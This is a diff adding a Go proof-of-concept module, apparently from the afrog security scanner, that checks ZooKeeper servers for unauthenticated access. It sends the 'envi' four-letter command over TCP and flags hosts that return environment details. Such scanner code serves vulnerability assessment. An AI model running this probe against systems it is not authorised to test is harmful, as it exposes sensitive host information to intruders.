| | 1 | + | package gopoc |
| | 2 | + | |
| | 3 | + | import ( |
| | 4 | + | "bytes" |
| | 5 | + | "errors" |
| | 6 | + | |
| | 7 | + | "github.com/zan8in/afrog/pkg/poc" |
| | 8 | + | "github.com/zan8in/afrog/pkg/proto" |
| | 9 | + | "github.com/zan8in/afrog/pkg/utils" |
| | 10 | + | ) |
| | 11 | + | |
| | 12 | + | var ( |
| | 13 | + | zookeeperPort = "2181" |
| | 14 | + | zookeeperUnAuthName = "zookeeper-unauth" |
| | 15 | + | ) |
| | 16 | + | |
| | 17 | + | func zookeeperUnAuth(args *GoPocArgs) (Result, error) { |
| | 18 | + | poc := poc.Poc{ |
| | 19 | + | Id: zookeeperUnAuthName, |
| | 20 | + | Info: poc.Info{ |
| | 21 | + | Name: "ZooKeeper 未授权访问", |
| | 22 | + | Author: "zan8in", |
| | 23 | + | Severity: "high", |
| | 24 | + | Description: "ZooKeeper是一个分布式的，开放源码的分布式应用程序协调服务，是Google的Chubby一个开源的实现，是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件，提供的功能包括：配置维护、域名服务、分布式同步、组服务等。ZooKeeper默认开启在2181端口，在未进行任何访问控制情况下，攻击者可通过执行envi命令获得系统大量的敏感信息，包括系统名称、Java环境。", |
| | 25 | + | Reference: []string{ |
| | 26 | + | "http://wiki.peiqi.tech/redteam/vulnerability/unauthorized/Zookeeper%202181%E7%AB%AF%E5%8F%A3.html", |
| | 27 | + | }, |
| | 28 | + | }, |
| | 29 | + | } |
| | 30 | + | args.SetPocInfo(poc) |
| | 31 | + | result := Result{Gpa: args, IsVul: false} |
| | 32 | + | |
| | 33 | + | if len(args.Host) == 0 { |
| | 34 | + | return result, errors.New("no host") |
| | 35 | + | } |
| | 36 | + | |
| | 37 | + | if len(args.Port) > 0 && args.Port != "80" && args.Port != "443" { |
| | 38 | + | addr := args.Host + ":" + args.Port |
| | 39 | + | payload := []byte("envidddfdsfsafafaerwrwerqwe") |
| | 40 | + | |
| | 41 | + | resp, err := utils.Tcp(addr, payload) |
| | 42 | + | if err != nil { |
| | 43 | + | return result, err |
| | 44 | + | } |
| | 45 | + | |
| | 46 | + | if bytes.Contains(resp, []byte("Environment")) { |
| | 47 | + | result.IsVul = true |
| | 48 | + | url := proto.UrlType{Host: addr, Port: args.Port} |
| | 49 | + | result.SetAllPocResult(true, &url, payload, resp) |
| | 50 | + | return result, nil |
| | 51 | + | } |
| | 52 | + | } |
| | 53 | + | |
| | 54 | + | addr := args.Host + ":" + zookeeperPort |
| | 55 | + | payload := []byte("envidddfdsfsafafaerwrwerqwe") |
| | 56 | + | |
| | 57 | + | resp, err := utils.Tcp(addr, payload) |
| | 58 | + | if err != nil { |
| | 59 | + | return result, err |
| | 60 | + | } |
| | 61 | + | |
| | 62 | + | if bytes.Contains(resp, []byte("Environment")) { |
| | 63 | + | result.IsVul = true |
| | 64 | + | url := proto.UrlType{Host: addr, Port: zookeeperPort} |
| | 65 | + | result.SetAllPocResult(true, &url, payload, resp) |
| | 66 | + | return result, nil |
| | 67 | + | } |
| | 68 | + | |
| | 69 | + | return result, errors.New("check result: no vul") |
| | 70 | + | } |
| | 71 | + | |
| | 72 | + | func init() { |
| | 73 | + | GoPocRegister(zookeeperUnAuthName, zookeeperUnAuth) |
| | 74 | + | } |
| | 75 | + | |
